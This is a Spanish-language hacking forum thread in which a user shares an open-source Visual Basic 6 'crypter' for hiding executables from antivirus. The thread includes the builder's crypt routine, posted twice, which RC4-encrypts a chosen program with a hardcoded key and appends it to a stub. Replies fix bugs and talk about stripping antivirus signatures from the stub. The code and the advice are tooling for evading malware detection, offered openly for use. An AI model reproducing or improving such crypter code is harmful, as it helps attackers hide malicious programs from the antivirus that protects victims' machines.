Weno gente aqui les traigo algo que hise xq estaba aburrido xD, jeje
Lapicera Crypter v1.0 by Leem [Open Source] Visual Basic 6 , Incluye EOF DATA.
PD: No estoy seguro pero al compilar con P-Code, creo que nod32 tiene Inyector.GP que ahi una firma bastante facil de sacar con hex entre 4000 y 5000, PERO NO ESTOY SEGURO.
Es bastante detectado el stub pero bueno es open source para que lo modifiquen xD,
[Enlace externo eliminado para invitados] Arreglado
Pass: indetectables
PD: Pueden usar Offsets anotator si quieren :P xD viewtopic.php?f=7&t=14188
Un saludo espero que les sirva.
no me compilael crypther que sera?
Gracias por el cry xD
Gracias por el cry xD
En el boton crypt falta un End If:
Private Sub crypt_Click()
If Check2.Value = 1 Then
Dim eof As String
eof = ReadEOFData(CD.FileName)
End If
Dim stub As String, Archivo As String
If file.Text = vbNullString Then
MsgBox "Primero deves cargar un archivo!", vbInformation, Me.Caption
Exit Sub
Else
Open App.Path & "\Stub.exe" For Binary As #1
stub = Space(LOF(1))
Get #1, , stub
Close #1
Open file.Text For Binary As #1
Archivo = Space(LOF(1))
Get #1, , Archivo
Close
With CD
.DialogTitle = "Donde desea guardar el archivo Encryptado?"
.Filter = "Exectuables | *.exe"
.ShowSave
End With
If Not CD.FileName = vbNullString Then
Archivo = RC4(Archivo, "huevazoputo")
Open CD.FileName For Binary As #1
Put #1, , stub & "##$$##" & Archivo & "##$$##"
Close #1
MsgBox "Archivo encryptado correctamente", vbInformation, Me.Caption
End If
End If
End Sub
Saludos
Private Sub crypt_Click()
If Check2.Value = 1 Then
Dim eof As String
eof = ReadEOFData(CD.FileName)
End If
Dim stub As String, Archivo As String
If file.Text = vbNullString Then
MsgBox "Primero deves cargar un archivo!", vbInformation, Me.Caption
Exit Sub
Else
Open App.Path & "\Stub.exe" For Binary As #1
stub = Space(LOF(1))
Get #1, , stub
Close #1
Open file.Text For Binary As #1
Archivo = Space(LOF(1))
Get #1, , Archivo
Close
With CD
.DialogTitle = "Donde desea guardar el archivo Encryptado?"
.Filter = "Exectuables | *.exe"
.ShowSave
End With
If Not CD.FileName = vbNullString Then
Archivo = RC4(Archivo, "huevazoputo")
Open CD.FileName For Binary As #1
Put #1, , stub & "##$$##" & Archivo & "##$$##"
Close #1
MsgBox "Archivo encryptado correctamente", vbInformation, Me.Caption
End If
End If
End Sub
Saludos

resuelto muchas gracias aver si hago algo saludos muy buen cry
ahora da error al encrypthar
Perdon ahi actualizo el link, ya corregi todos los errores xD esque me confundi con el nombre del textbox xD
Saludos
Saludos

porque me sige saliendo esto cundo escojo el archivio ????


ahora anda de 10 buen cry salio porfiado pero salio
Creo q esto va en fuentes y textos de programacion. De todas maneras muchas gracias LEEM por el aporte.
Muchas gracias Leem, eres grande
a probar se a dicho..
saludos
a probar se a dicho..
saludos
-Aprovechemos mientras Windows es vulnerable.
-No hagas a otros lo que no te gustaría que hagan con.... tu mamá.
-El mejor Snifer es tu propio ISP.
-No hagas a otros lo que no te gustaría que hagan con.... tu mamá.
-El mejor Snifer es tu propio ISP.
No, va nose yo vi muchos Open Source aca por eso lo postie aca.yorll escribió:Creo q esto va en fuentes y textos de programacion. De todas maneras muchas gracias LEEM por el aporte.
Un Saludo y gracias por sus comentarios!

Gracias por el sourse Leem ahora solo falta sacarle 5 av que detecta mi stub Saludos
Lo hise siguiendo el video.... fue mi primer crypter tu que esperabas que lo programe 100% yo?...
Saludos
Saludos
